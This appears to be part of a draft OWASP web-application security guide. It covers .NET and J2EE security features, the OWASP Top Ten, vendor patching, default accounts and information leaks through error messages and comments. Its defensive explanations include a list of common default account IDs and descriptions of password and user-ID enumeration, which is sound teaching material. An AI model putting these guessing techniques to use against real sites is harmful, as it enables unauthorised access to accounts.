OWASP is in the process of creating an MVC framework for use on the .NET development platform. If you would like to contribute, contact Mark Curphey.

Chapter 7. Web Application Frameworks

Adrian Wiesmann

Web Application Frameworks

Microsoft .NET

An Introduction to the .NET Framework

.NET is the name given to a range of technologies that use the .NET Framework. The .NET Framework is an object orientated run time, suitable for writing applications of all types. The major reason for choosing ASP.NET over ASP or other Windows-centric coding models is the added dollops of security, freedom of language choice, huge development time improvements, among many other features. As this guide is not an advocacy guide, please visit Microsoft's MSDN .NET site if you need more information.

This chapter is about discussing the safer use of ASP.NET, .NET framework security features, web services, and lastly, how to safely interact with data sources using ADO.NET. This chapter is no development tutorial about how to write managed code for the Win32 platform. This chapter covers in the actual version of the guide the general overview only.

Because ASP.NET and the other technologies sit directly ontop of the .NET framework, some security specialities and mechanisms are shared within the framework. This is the reason why we will look at the .NET framework in the beginning of this chapter.

For it is royal pain to read and write the whole name of the .NET framework all the time through this chapter, we decided to just talk about the framework during this chapter while meaning the .NET framework if not stated differently.

The .NET Framework

Programs running in the framework are either managed or unmanaged code. Unmanaged code represents conventional programs which could also run outside the framework. These programs can not benefit of the features of the framework. Managed code on the other side is code which needs the framework vor execution.

The framework behaves generally like any another virtual machine: It executes code unter the control of the runtime. While being the engine executing the code, it can provide functionality like memory management, just-in-time compilation and security services.

The .NET Framework Security

Many Operating Systems and Applications use a user and role based security model. The .NET framework is working similar. It is working with Principals and Identities. Additionally to this method it also provides security on code which is called evidence-based or code access security through most of Microsoft's papers.

Using code access security a program can behave differently on multiple platforms. This means a program can allow the access to a local file if it is run locally. Even the user would theoretically have access to that file, the same program can deny the access to the same local file, if the program - as example - would be run from the internet. This mechanism was built into the .NET framework to allow to satisfy the developers need for security in mobile code.

While the framework includes some security mechanisms - into which we will look some more in a few lines - the

framework also relies on the security of the operating system it sits upon. The framework actually is allowing some more detailed security than the plain OS.

ASP.NET

ASP.NET in contrast to ASP has a few similarities, but is way beyond ASP. ASP.NET is built ontop the .NET framework and benefits from all those features in the framework. Besides that ASP.NET needs the Internet Information Server 6, Microsofts Webserver for functioning.

ASP.NET Security

Because ASP.NET sits ontop the framework it can use all the security features and modules the framework offers. It is therefore absolutely a must for every developer working with ASP.NET security to fully understand the various security subsystems interaction for not implementing backdoors or security holes.

Authentication

ASP.NET authentication is done with authentication providers. These providers are code modules which contain all the necessary code to authenticate users credentials. While everybody can write their own authentication provider, three of them are preshipped with ASP.NET out of the box.

- Forms authentication

  This is a simple HTML form based method in which a user sends her credentials in a HTML form to the server. The server issues a Cookie and every consequent request is then validated with this cookie.
- Passport authentication

  Passport authentication is the provider which interfaces with Microsofts Passport service. This service is quite controversial. Look in the appendix for further informations and decide yourself.
- Windows authentication

  This authentication mechanism is most probably the most used one. It knows 3 methods which are basic, digest and Integrated Windows Authentication. The last of these three needs a valid windows account to allow access. After a successful authentication ASP.NET uses the authenticated identity to authorize access. Using the basic method means that every authentication request on any system will run under the account which ASP.NET is running under.

Authorization

In ASP.NET there are two ways of determine whether a user should be granted the requested access to a requested ressource:

- File authorization

  This authorization module is active when the Window authentication is used. The module uses some ACL to check if a user should have access to a .aspx or .asmx file. Of course the developer can use impersonation to fiddle around some with this module. Impersonation is discusses some later.
- URL authorization

  This module is active all the time. It basically matches URL's or parts of them to users and roles (groups). One can configure therefore to either allow or deny access on an url to a given role or user. The normal behaviour is that these conditions are also for all possible subdirectories, except they are defined differently. The rights can either be granted or revoked with <allow> or <deny>.

Impersonation

...

ADO.NET

Working with the framework and a database (SQL Server) you may want to use ADO.NET. ADO.NET is the latest evolution of Data Access technology by Microsoft. You may want to know that ADO is designed to work with disconnected record sources, something which is seen often within web application development.

ADO.NET Security

Authentication

Authorization

Impersonation

Secure Communication

Input Validation

Stored Procedures and Prepared Statements

Best Practices

...

J2EE

The Java 2 Enterprise Edition (J2EE) is a framework built on Java that provides a standardized solution to the common infrastructure issues of enterprise applications.

J2EE overview

J2EE is a collection of APIs. JSP, EJB, JDNI, JDBC, JavaMail, JMS, JTS

Further reading

Sun J2EE Official Home [http://java.sun.com/j2ee/]

J2EE security model

The J2EE security model builds on the safeguards of Java and adds additional measures for specifying application security. > Declarative vs. programmatic security > security roles > method permissions > access control

Further reading

J2EE in practice

Putting all J2EE components together in a cohesive and secure manner can be a difficult task. Not every application requires all J2EE components and technologies. Smaller projects might not warrant some of the more complex component types. Some of the components can be implemented and used by themselves, such JSP and JMS. Others require application servers, such as BEA Weblogic and IBM Websphere, that integrate most if not all J2EE components.

Although Java mitigates some of the large security problems associated with programming like buffer overflows, applications are still vulnerable to poor design or programming mistakes. Java coding practices and mistakes are addressed in a separate chapter in the guide as well as by Oaks, 2001. This section consists of design patterns and strategies for building secure J2EE applications with consideration to the general security guidelines mentioned early in the guide and the OWASP Top Ten mistakes. We will not deal with design decisions like when to use enterprise beans and which types.

Best Practices (or what tends to be most effective)

Information security is lot of common sense. In 1975, Jerome Saltzer and Michael Schroeder ??? wrote some design principles that still apply today. Most of them overlap with the guidelines described in the guide. They are:

- least priviledge (need to know basis of information disclosure)
- economy of design (keep it simple)
- complete mediation (every access point should be verified for proper authentication)
- open design (do not rely on security by obscurity)
- separation of priviledges
- least common mechanism (compartmentation)
- psychological acceptability (make security measures easy to use or they won't be used)

In the context of J2EE, these guidelines can be best addressed with design patterns. Design patterns describe general solutions to a specific problem domain. They are commonly used in software engineering as well as other engineering disciplines such as architecture.

Common Pitfalls (or the most popular ways of screwing up)

Many reputable organizations publish various top ten or twenty security vulnerabilities and mistakes. For this section the OWASP Top Ten Vulnerability list is the most appropriate. Here are the most critical web application security vulnerabilities:

- Unvalidated parameters
- Broken Access Control
- Broken Account and Session Management
- Cross Site Scripting (XSS)
- Buffer Overflows
- Command Injection Flaws
- Error Handling Problems
- Insecure Use of Cryptography
- Remote Administration Flaws
- Web and Application Server Misconfiguration

1 - Unvalidated Parameters

Parameters such as those found in forms, cookies, HTTP request are vulnerable to tampering as they are coming from a computer outside our control. The safeguard to reduce this risk is data validation. Where do we validate? Validation can be performed on the client with scripting such as JavaScript or on the server. Validation is the most secure performed on the server as the client could disable any checking mechanism. Yet it is common to validate on the client side as well for performance reasons. Typically, a strategy mixing the two yields good results. The client side could perform basic checks while the server could handle more complex checks. These checks are in addition to

the ones performed on the client. For example, checking for an empty field with a client side script will save your server from processing an incorrect request. However, the server also has to check for empty fields along with other checks on the client becuase we don't control the client. The client's browser could have scripting disabled. HTTP requests can be generated automatically with proxy tools or scripts. Don't assume all input will come from a browser, an attacker can even use telnet to send requests to your server. Client validation is for performance and usability, not security. Validation should also be performed on the output.

What do we validate against?

All user input is not to be trusted and must be validated. This includes hidden fields and anything a malicious client can manipulate. There are a few types of validation:

1) coarse grained data formatting Data formatting checks for things like missing felds (that are required or null), data types, data ranges, allowed values. Java uses Unicode (an extended character set) so perform canonicalization prior to validation. Check against expected values. Defang all strings. This removes any potentially dangerous HTML or scripting tags from a text field.

2) fine grained application specific This type of validation invokes business logic to check, for example, if the zip code entered is located in the state submitted.

In general, validation should be performed against the allowed values and everything else should be discarded.

How do we validate?

The logic to perform the validation can run in the form by a specific JSP, servlet, EJB or in a centralized manner. A centralized approach is recommended even for small applications. The application's documentation should delineate what type of input it will expect. Keeping this information in a central place will simplify and administration and enforce consistent validation.

The coarse grained and regular expressions validation can be accomplished using freely available solutions. Jason Hunter wrote a ParameterParser class for his book on Servlets. A more comprehensive solution is the Jakarta Validator Framework, originally part of Struts. The upcoming OWASP Filters project also deals with this problem domain. Application specific logic is by definition custom and it should also be centralized. Look at the Session Facade pattern or the Strategy pattern from [1].

Further Reading:

EJB best practices: The fine points of data validation, from IBM DeveloperWorks [http://www-106.ibm.com/developerworks/library/j-ejb1217.html?n-j-12192]

Validation with Java and XML Schema, from Javaworld [http://www.javaworld.com/javaworld/jw-09-2000/jw-0908-validation.html]

Using the Validator Framework with Struts [http://www.onjava.com/lpt/a/2912]

Jason Hunter's ParameterParser [http://www.servlets.com/cos/javadoc/com/oreilly/servlet/ParameterParser.html]

2 - Broken Access Control

The general guidelines for this domain are covered in the access control chapter of this guide. Some useful design patterns here are Single Access Point and Role pattern, from J2EE Designs Applied. Access control uses a mixture of components. Controller servlets, deployment descriptors <security-constraint> </security-constraint> tags), method permissions, programmatic security (using the isUserInRole() method), database security, single-sign on, etc.

The Struts framework incorporates a simple and flexible Controller that should be adequate for most applications. Many vendors have comprehensive solutions to this problem. Just like data validation, unless your application has esoteric requirements it is recommended to avoid building access control from scratch. There are many aspects besides ACLs that would require building. How do you mitigate forceful browsing or duplicate form submissions? Struts and most packages use a synchronizer token in the user's session that they compare against. If the user sub-

mits a token different than that expected, it may mean he or she may have hit the back or the reload button.

Further Reading:

EJB Tier Security http://java.sun.com/j2ee/1.4/docs/tutorial/doc/Security7.html#79857

Java Tip 136: Protect Web application control flow http://www.javaworld.com/javaworld/javatips/jw-javatip136.html

3 - Broken Account and Session Management

Session management is discussed in the OWASP guide. We can save session state on the client, using hidden form fields, cookies or even saving parameters in the URI. The advantages with these techniques is simplicity and scalability. Large session objects will use your server memory exponentially. Load balancing across multiple servers requires session state replication and its difficult to do with thousands of large session objects. However, we have the same security implications as we do in data validation. Saving state on an untrusted client introduces many problems. It is possible to use encryption to mitigate some of these problems but in general the complexity and resource cost is not worthwhile for applications that deal with a large amounts of session data.

So for small and simple applications, saving session on the client would be reasonable. For most applications, its recommended to save this information on the server. J2EE offers a few methods of doing so:

HttpSession object This is a simple and widely used approach. Most application servers can be persist and replicate this data across mulitple servers using memory replication, or the file system or a database. One disadvantage with this approach is the limitation to web clients. If your application supports Java clients (using Swing) or wireless devices, another session manager would need to be used.

Stateful session beans Session beans can accomodate more functionality and flexibility and thus they are generally slower and more complex to write. They can also be persisted and replicated by most application servers.

Regardless of the the method used, the session state on the server is associated with a user by some type of session id. Application servers deal with this session tracking by sending a cookie with the id or by appending it on the URL, such as the example below:

```
http://www.aa.com/apps/travelInformation/TravelInformationHome.jhtml;jsessionid=KQ4ZJQTPDV423EAJJNFS
```

These session ids are the target of many attacks and threats: interception (sniffing), prediction, session fixation and session id brute force. None of these are Java specific. Some countermeasures are hashing the ids (using SHA1 or MD5).

Further reading:

Maintaining Client State http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/Servlets11.html#63281

Session Fixation Vulnerability in Web-based Applications http://www.acros.si/papers/session_fixation.pdf

Session ID Brute Force Exploitation http://www.blackhat.com/presentations/bh-usa-02/endler/iDEFENSE%20SessionIDs.pdf

OWASP Authentication and Session Management http://www.owasp.org/asac/auth-session/replay.shtml

4 - Cross site scripting (XSS)

Cross site scripting is discussed in the OWASP guide. Web sites dynamically generating content are vulnerable to this class of attacks. Only static HTML files are not vulnerable. The J2EE safeguards against this threat are in data validation. Defang all parameters of HTML tags such as <script>. Cookie data encryption is another countermeasure to cookies being leaked to an attacker. Single Sign On solutions can also make XSS attacks more difficult to detect.

Further Reading:

Cross-site scripting http://www-106.ibm.com/developerworks/security/library/s-csscript/?dwzone=security

5 - Buffer Overflows

Buffer overflows are a big problem for application security. Becuase Java does not support pointers, much less their manipulation, Java programs are theorically not vulnerable to this threat. In practice this attack is unlikely but possible. A JVM or the application server your J2EE application is running might contain a buffer overflow, if they are not written in Java. That is unlikely today as well. Native code invocation via JNI, especially of C program is still a large risk.

6 - Command Injection Flaws

Command injections can happen anytime a J2EE makes a call to an external system, like a database (via JDBC), another application (via JNI, JavaMail, etc) or the operating system (via java.lang.Runtime.exec). JDBC PreparedStatements and database stored procedures can mitigate against this threat. It is also flexible enough so you don't need to create dynamic queries. If you do create dynamic queries, row level security (sucas Oracle VPD) might be a last countermeasure. Careful data validation is the first defense.

If your application uses bean managed persistence (BMP) consider using the Data Access Object pattern, from Core J2EE Patterns. This pattern abstracts and encapsulates your data sources into a centralized layer.

Further Reading

SQL Injection FAQ [http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=2&tabid=3]

7 - Error Handling Problems

Error handling leaks information that an attack might exploit. Although by itself it is not a large risk, error handling is commonly poorly implemented. Some general best practices:

- Draft error message dislosure strategy. This should be part of the application security policy and documentation.
- Centralize error reporting and establish a error hierarchy and mitigation action. Some errors should simply be logged, other errors should email or page someone.
- The user should be redirected with an error page that give the opportunity for comment and reporting.

J2EE handles errors in a few ways. At the logic tier, the Java try-catch block is the fundamental way to handle exceptions. A common problem here is not catching the exception, which will propagate to the application server. Most application server's default action is to display the exception and stack trace to the user. Another common mistake is catching all exceptions with one handlier (ie java.lang.Exception) instead of dealing with the specific exception individually. It is similar to having a single Exception class to handle with all exception. This is not optimal for an enterprise application. By the same token, a long hierarchy of specific exception classes is also not recommended due to complexity. A handful of exception categories should be used.

Java Server Pages have built-in support for error handling. Once any uncaught error has occured, the processing will forward to another JSP page defined in the errorPage attribute.

Log4j is a great J2EE logging package widely used in web applications. Sun's java.util.logging API was based on the log4j approach. The levels of logging supported are: debug, info, warn, error and fatal. You can add additional levels but its not recommended, for the same reasons to avoid a large hierachy of complex exceptions.

Further reading:

Build Flexible Logs with log4j http://www.onjava.com/lpt/a/2525

8 - Insecure Use of Cryptography

A reading the cryptography and SSL chapters provide the foundation of this section. Cryptograpy is not an intuitive topic and hence it can be easily misunderstood. Some of the most common mistakes:

- Insecure storage of keys, certificates and passwords. Number seven of Microsoft's top ten immutable security laws state: "encrypted data is only as secure the decryption key". Consider using a hardware security module for key management if your budget allows. Rainbow, http://www.rainbow.com/cryptoswifthsm/ and ncipher http://www.ncipher.com/nshield/ are some vendors in this space
- Improper storage of secrets in memory. J2EE applications run on a trusted server that you control so its not worthwhile in most cases to securely store sensitive application data in memory. Although the threat remains, the risk is small and the performance hit in mitigating it is significant.
- Poor sources of randomness. Randomness or entropy is an important element in a number of cryptographic functions. True sources of randomness remains a computer science problem. You can purchase a hardware random number generator for higher entropy. Java uses a pseudo-random number generator (PRNG) found in java.security.SecureRandom. Sun's default provider for randomness is SHA1 although some operating systems also provide a source of entropy (ie /dev/random)
- Poor choice of algorithm. A common mistake is mistaking enconding for encryption. Remember if a key is not required you are not using encryption! There are a lot of algorithms and acronyms and its sometimes difficult to keep track of them all. The table below illustrates the most common algorithms and what they do.

Table 7.1. crypto algorithms demystified

algorithm	encryption	hashing	digital signature	key distribution
RSA	X		X	X
ECC	X		X	X
Diffie-Helman				X
El Gamal			X	X
DES and 3DES	X			
Blowfish	X			
IDEA	X			
RC4	X			
SAFER	X			
MD2, MD4, MD5		X		
SHA		X		
DSA			X	

So when do you use these? As discussed in the cryptography section, the purpose of cryptography is to provide confidentiality, integrity and authenticity. So if you encrypt something, you have confidentiality. If you hash something, you have integrity. If you sign something (digitally), you have authentication and integrity. You can also sign and encrypt in which case you'll have confidentiality, integrity and authenticity. Encoding algorithms like base64 or ROT13 do not provide security, at best they provide obfuscation.

The most common attacks on cryptographic system is not cryptanalysis but key exchange and management issues. Man in the middle attacks are very common.

- Failure to encrypt critical data. To be able to encrypt critical data one must identify it and perform some type of risk analysis. Things like encrypting user passwords and credit card numbers are obvious. Other things are less obvious. A good practice is to hash the user's password recovery questions (such as their mother's maiden name). All major databases support encryption at the row level. Some offer encryption at the file system in case the operating system of the database server is compromised.
- Attempting to invent a new encryption algorithm. It is recommended in general to avoid writing your own components when there exists stable and mature alternatives. This is especially critical in this domain. The Java Cryptography Extension (JCE) and JCA (Java Cryptographic Architecture) allows you to plug into your applica-

tion the major cryptographic standards easily. Please do not write your own encryption. It is exceptionally difficult to come up with good cryptography and anyone can write an algorithm that he himself won't be able to break.

Further Reading:

Master the basics of Java Cryptography Extension (JCE) http://www.zdnet.com.au/builder/program/java/story/0,2000034779,20264547,00.htm

Unshackling key management in Java\x{2122} security http://www6.software.ibm.com/devcon/key0201/keyjavaarticle.html

Java security evolution and concepts, Part 1: Security nuts and bolts http://www.javaworld.com/javaworld/jw-04-2000/jw-0428-security.html

Crytography FAQ http://www.faqs.org/faqs/cryptography-faq/

9 - Remote Administration flaws

Remote administration flaws are common in web and application servers although a few J2EE applications have custom remote management functionality. The configuration of application servers is addressed the next section. A custom administration interface should have a high level of access control security. A critical production application should be managed like firewalls or other critical servers. They typically have an additional network interface to a private network for out of band administration. End to end encryption and VPN are also commonly used.

Some applications integrate with third party solutions like content management. If any remote interface can change any aspect or content of your application, out of band should be used.

Resources

CERT - Configure computers for secure remote administration. http://www.cert.org/security-improvement/practices/p062.html

10- Web + App Server Misconfiguration.

Securing web servers is out of scope for this section. The operating system is the foundation for the application server. There are many sources and benchmarks to aid in securing the operating system. In addition to vendor guidelines, SANS, CIS and NIST produce checklists and guidelines in this area. The general guidelines for Java application servers are:

- Keep up with vendor patches. J2EE application servers, just like any complex software system, are not free of security bugs and vulnerabilities. An Internet search for 'Weblogic security advisory' reveals the urgency for continous updates. Weblogic is a widely used application server.

  Effective patch management relies on responsibility and discipline. An experience engineer should be explicitly responsible for server updates. Know who to contact if something goes wrong before applying any patches. Let them know what you are doing and when you are planning to do it. A file integrity program, such as tripwire, is a valuable tool in a patch recovery plan. And keep meticulous documention regarding version numbers, changes, servers, dates, etc.
- Remove sample scripts and applications.
- Remove and change default accounts and passwords.
- Configure proper logging levels and disable debugging functions.

None of the items above are specific to J2EE applications save for the details of implementation. Java's security model using realms, roles, policies is somewhat different than other models but the security practices described above apply uniformly.

Resources:

[Bugdev] [LSD] Java and JVM security vulnerabilities http://www.avet.com.pl/pipermail/bugdev/2002-November/001281.html

Summary

Further reading:

Secure a Web application, Java-style http://www.javaworld.com/javaworld/jw-04-2000/jw-0428-websecurity.html

Chapter 8. Preventing Common Problems

Gene McKenna
Jeremy Poteet

Introduction

This chapter describes other common problems that web applications typically exhibit and that web application developers commonly make. These problems usually are not a result of the specific languages or tools used to build the application, but are a direct result of ignorance of the issues revolving around application security or reliance on faulty procedures and techniques for securing the application.

The issues addressed in this chapter will not lock down an application but can be used to complement the specific items addressed in other chapters. Understanding these concepts will deepen your knowledge of application security principles and will allow you to mitigate these common risks.

These concepts fall into the following categories:

- Tools - While these common problems are not restricted to one language or tool, the use of tools is a necessary component in application development and the misuse of these tools can expose significant security vulnerabilities.
- Information Disclosure - Applications that disclose sensitive information can be used to gain information to launch further attacks or to mine the application for data.
- File Access - Failure to properly restrict file access can expose source code, configuration and even data files.

Tools

Vendor Patches

Description

Vulnerabilities are common within 3rd party tools and products that are installed as part of the web applications. These web servers, application servers, e-commerce suites, etc. are purchased or downloaded from external vendors and installed as part of the site. The vendor typically addresses security vulnerabilities by supplying a patch that must be downloaded and installed as an update to the product at the customer's site.

The large numbers of tools used on most web sites along with the proliferation of application security vulnerabilities makes keeping up with vendor security patches a significant issue. With new versions of tools being released and more vulnerabilities being disclosed, it can seem overwhelming to ensure that all of the proper patches have been applied. To compound the issue, some of the major worms such as CodeRed, Slapper and Slammer, were based on the basic issue of attacking machines where the proper security patches had not been applied.

In order to begin to address the issue, the first thing to resolve is to determine what tools are installed on the server. While this may seem to be a simple question, many administrators are only aware of the major tools on the site, but many smaller or bundled tools go unnoticed or have been long forgotten. Since no one is aware of and actively monitoring these tools, any security patches that become available are unlikely to be applied.

Once a comprehensive list of tools is compiled, prior to determining what patches exist and how patches will be applied, the first issue is whether these tools need to be installed. While many of the tools may serve an important purpose, most servers will accumulate various tools and components that are no longer used by the applications and can be purged from the servers. Rather than trying to keep obsolete or unneeded tools updated, removing them from the

server is a much better approach.

Once you have a complete list of all of the tools and components that should be on the various servers, the next step is to determine how each tool vendor you use discloses security patches. How patch information is made available varies widely from vendor to vendor.

All products have vulnerabilities that are discovered in an ongoing manner and in most cases disclosed directly to the vendor (although there are also cases in which the vulnerability is revealed to the public without disclosure to the vendor). The vendor will typically address the vulnerability by issuing a patch and making it available to the customers using the product, with or without revealing the full vulnerability. The patches are sometimes grouped in patch groups (or service packs) that may be released periodically.

Most patches are released by the vendors only in their site and in many cases published only in internal mailing lists or sites. Sites and lists following such vulnerabilities and patches (such as bugtraq) do not serve as a central repository for all patches. There are often numerous patches for mainstream products every month. Another critical aspect of patches is that they are not (in most cases) signed or contain a checksum causing them to be a potential source of Trojans in the system.

In order to be aware of available patches, you should subscribe to your vendors' security intelligence service for all software that forms a part of your web application or a security infrastructure. Some vendors have a tool that can assist users in determining missing patches. Others rely on manually checking the web site for new versions of products. The more tools used on a site, the more likely that a wide variety of approaches will be required.

In looking at the vendor solutions for patch management, it may become clear that dealing with more "reputable" vendors or groups is a better approach. While tools are created by vendors and groups of all sizes, those with the resources to patch vulnerabilities in a timely manner, test the patches adequately, and provide disclosure information to their customers can significantly reduce the effort required by their users. Patch management should be a factor in determining what vendors to use or even in looking at reducing the vendors used to a more manageable list.

Once you have determined how each vendor releases patches, you need to develop a plan for when to gather and apply patches. If the vendors you use are proactive in informing you of security patches, when to gather patches is a non-issue. However, for those tools where the user is required to be the proactive party, you need to determine how often you will conduct the manual check for new releases. Once you have a documented plan on when to gather patches, you need to determine when to apply them. Patches are software and therefore will have bugs and security flaws of their own. Applying a patch as soon as it comes out is not always the best approach, especially if the vulnerability being patched is a low risk for your organization. Having a well thought out plan in place can make the determination of when to apply patches an easy step.

Before applying patches, it is best to apply them first to a test bed and ensure that both the patch and the applications on the server perform appropriately. This is another reason for creating automated tests for your applications. There are many non-security related reasons as well, but automated tests can make this test stage manageable.

Once the patch has been adequately tested, the next step is to ensure the patch has been applied to all effected servers. Any server that is missed may be enough to cause significant problems if the vulnerability is exploited. Along with ensuring all servers have been patched, create a change log of what patches were applied, to what servers and when the changes were made. This will be invaluable in the event of a problem that was undetected during the testing stage.

Mitigation Checklist

- Create a list of all tools and components on the server
- Remove any tools or components that are not needed
- Determine the security patch process for every vendor on the list
- Produce a plan for when to check for security patches for every tool on the list
- Produce a plan for when to apply security patches
- Create a test bed for testing the security patch
- Apply security patch to all effected machines
- Create a change log to track all security patches that are applied

System Configuration

Description

Server software is often complex, requiring much understanding of both the protocols involved and their internal workings to correctly configure. Unfortunately software makes this task much more difficult by providing default configurations which are known to be vulnerable to devastating attacks. Often "sample" files and directories are installed by default which may provide attackers with ready-made attacks should problems be found in the sample files. While many vendors suggest removing these files by default, they put the onus of securing an "out of the box" installation on those deploying their product. A (very) few vendors attempt to provide secure defaults for their systems (the OpenBSD project being an example). Systems from these vendors often prove much less vulnerable to widespread attack. This approach to securing infrastructure appears to work very well and should be encouraged when discussing procurement with vendors.

If a vendor provides tools for managing and securing installations for your software, it may be worth evaluating these tools, however they will never be a full replacement for understanding how a system is designed to work and strictly managing configurations across your deployed base.

Understanding how system configuration affects security is crucial to effective risk management. Systems being deployed today rely on so many layers of software that a system may be compromised from vectors, which may be difficult or impossible to predict. Risk management and threat analysis seeks to quantify this risk, minimize the impact of the inevitable failure, and provide means (other than technical) for compensating for threat exposure. Configuration management is a well-understood piece of this puzzle, yet remains maddeningly difficult to implement well. As configurations and environmental factors may change over time, a system once well shielded by structural safeguards may become a weak link with very little outward indication that the risk inherent in a system has changed. Organizations will have to accept that configuration management is a continuing process and cannot simply be done once and let be. Effectively managing configurations can be a first step in putting in place the safeguards that allow systems to perform reliably in the face of concerted attack.

Mitigation Checklist

- Create a list of all tools and components on the server
- Remove any tools or components that are not needed
- Understand the settings and configurations of all tools used on the server
- Utilize any vendor tools that aid in security the configuration
- Version control all configuration files to ease in making changes over time
- Ensure all configuration changes are synchronized over all instances of the tool

Default Accounts

Description

Many "off the shelf" web applications and tools typically include various default user accounts that are activated by default. These accounts are typically set up for:

- Administrator accounts
- Test accounts
- Guest accounts

In those cases where there is only one account configured, it is typically for the administrator of the system. These default user accounts come pre-configured on the system and in many cases have a standard password, which is documented or widely known. Moreover, most applications do not force a change to the default password. These accounts can be accessed using the standard login page for all defined accounts or via special ports or URLs within the application, such as administrator pages.

While this is typically seen as a problem with "off the shelf" software, custom software can exhibit the same issues. Developers often use standard logins and passwords for web applications, which can cause the same problem as their "off the shelf" counterparts. Too often, the passwords are the same as the ids or some other easily guessed value. Common ids include:

- admin
- system
- sys
- dev
- guest
- test
- demo

If the default values are not modified or accounts with common values are created, the system can then be compromised by attempting access using these default values. The attack on such default accounts can occur in two ways:

- Attempt to use the default username/password assuming that it was not changed during the default installation.
- Enumeration over the password only, since the user name of the account is known.

Enumeration over the password is normally mitigated by locking an account after a certain number if invalid login attempts. However, these default or common accounts sometimes use different rules than other accounts. For example, an admin user account may not lock after three invalid login attempts, because that is the account that is used to unlock user accounts. On the other hand, if there is no special logic it may be possible to lock the admin user account with invalid attempts. If this was not anticipated, this could prove difficult for the real admin user to work around. Locking out accounts, such as admin, guest or demo, usually will cause problems on the site as legitimate users of those accounts can no longer access the application.

Once the password is entered or guessed then the attacker has access to the site according to the account's permissions, which usually leads in two major directions:

If the account was an administrator account then the attacker has partial or complete control over the application (and sometimes, the whole site) with the ability to perform any malicious action. Even test accounts can fall into this category, as the attacker would have whatever access is granted to the account. If the test account was granted certain administrative privileges for testing purposes, those authorization credentials will now be granted to the attacker.

If the account was a demo or test account the attacker can use this account as a means of accessing and abusing the application logic exposed to that user and using it as a means of progressing with the attack.

Mitigation Checklist

- Audit the list of user accounts to the application
- Remove all standard or common logins that are not used
- Ensure that default or common logins are disabled or changed if possible
- In the event that some default or common login ids must remain, ensure that the passwords for those accounts have been modified and meet or exceed your requirements for password length and complexity.
- Ensure that test accounts on the site have the minimal level of permissions necessary. Consider removing test accounts from production systems unless absolutely required to test production issues. In these cases consider removing the accounts and adding them only when necessary.

Information Disclosure

Error Messages

Description

Internal Errors

Error messages are one of the most powerful tools at an application attacker's disposal. They can be used to communicate sensitive data directly or to tune an attack syntax. For example, look at the following error message from an example site:

```
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near the keyword 'or'.
F:\WEBSITES\WWW.EXAMPLE.COM\NEWS\../internal/tools/database.asp, line 276
```

From this single error message, the attacker can glean the following information they would not be aware of otherwise:

- The application uses OLE DB to communicate to the database
- The application uses SQL Server as the database
- SQL commands can be passed to the database
- The application is store in the F:\Websites\www.example.com directory on the web server
- There is a directory called internal/tools on the website
- There is an internal file called database.asp on the website
- Line 276 of the database.asp page contains code to execute a SQL statement

All of this information can be used directly or indirectly in launching other attacks against the website. Protecting this information needs to be a key aspect of the application security model.

All exceptions from the database, file handling, etc. should be caught and logged, but never displayed back to the user. Only general error messages should be displayed back to the user to avoid disclosing internal or sensitive information to an attacker.

Application Errors

Another area of error messages that must be carefully managed involves application error messages that are intended for viewing by the user. While these error messages do not contain internal information relating to the technical details of the application, they can be used to mine the application for information and can inadvertently expose sensitive information.

An example of this would be a login page that indicates that the "User ID is invalid" rather than "The User ID and Password do not match". By indicating that the user ID is invalid, the application can be used to extract a valid list of user IDs from the site. This may be used to attempt to impersonate other users or conduct an application DOS by locking out large numbers of user accounts. Registration pages and password reminder questions are also notorious for these types of data mining errors.

The content of the application error messages is not the only vulnerability that can exist in this area. Many times information can be mined simply by the timing of the messages. For instance, if we look at a registration page, there are numerous fields that may generate a variety of error messages. By trial and error, an attacker may be able to reconstruct the server code by watching the cause and effect of the error message handling.

Table 8.1.

Action	Error Message
Leave user ID blank	The User ID is required
Fill in user ID with existing ID	The User ID is already in use
Fill in user ID with new ID	The Password is required

Action	Error Message
Fill in password	The Verify Password is required

The code to cause the above behavior would look something like this:

```
If(request("userID") = "") Then
errMessage = "The User ID is required"
Else If(checkForDups(request("userId")) = true) Then
    errMessage = "The User ID is already in use"
Else If(request("password") = "") Then
    errMessage = "The Password is required"
Else If(request("password2") = "") Then
    errMessage = "The Verify Password is required"
...
```

This information can be very helpful to an attacker in forming the attacks to be successful without spending much time in trial and error attempts. This reduces the chances of catching the attacker and leaves the site in a more vulnerable state.

Mitigation Checklist

- Create a general error page
- Catch all exceptions, unexpected errors, etc. and redirect the user to the general error page
- Review all application error pages in light of how those errors can be used to mine information from the site
- Observe how individual errors are returned by the application and see if the algorithms or code structure can be gleaned from the order of the messages

Comments

Description

Comments placed in source code aids readability and improves documented process. It is an important process that many companies try very hard to instill in developers. The practice of commenting has been carried over into the development of HTML pages and scripting code, which are sent to the clients' browser. As a result, information about the structure of the web site or information intended only for the system owners or developers can be inadvertently revealed. The same information that is valuable to those who maintain the site is also of interest to those who attack it.

Comments left in HTML and scripts can come in many formats, some as simple as directory structures, others inform the potential attacker about the true location of the web root. Comments are sometimes left in from the HTML development stage and can contain information such as:

- developer names, user ids, email addresses and phone numbers. This information can be valuable for conducting social engineering attacks or providing potential developer ids to attempt login access with.
- Internal filenames
- Old code
- Instructions on how bugs were worked around, how to modify the code to accomplish other tasks, etc.
- Server information, such as internal IP addresses, server names, etc. This is often found on applications that reside on a web server farm. This information can be used to map the server farm.

Comments are added for various reasons and by different mechanisms. Understanding why they are added can assist in determining how to mitigate this risk.

- Structured Comments - these appear in script or HTML source, usually at the top of the page. These usually fol-

low some corporate or team standard and include common information about the developers, what has been changed, dependencies, etc. For scripting languages such as Perl, JSP and ASP, script comments don't usually make their way to the user and are therefore less of a threat. (However, server vulnerabilities can sometimes allow the script source to be exposed as well which reveals not only the script comments, but the entire script source - an even bigger worry.) HTML comments, on the other hand, are always sent to the user or system requesting the HTML resource and therefore pose a significant threat if the comments reveal information about the system. Developers using a scripting language such as Perl, JSP or ASP should have much less need for HTML comments since they can often substitute script comments instead.

- Automated Comments - many widely used page generation utilities and web usage software automatically add signature comments into the HTML page. These will inform the attacker about the precise software packages (sometimes even down to the actual release) that is being used on the site. Known vulnerabilities in those packages can then be tried out against the site. These tools also may include other information, such as version control tools which include the version number and sometimes version history of the file in a comment block.
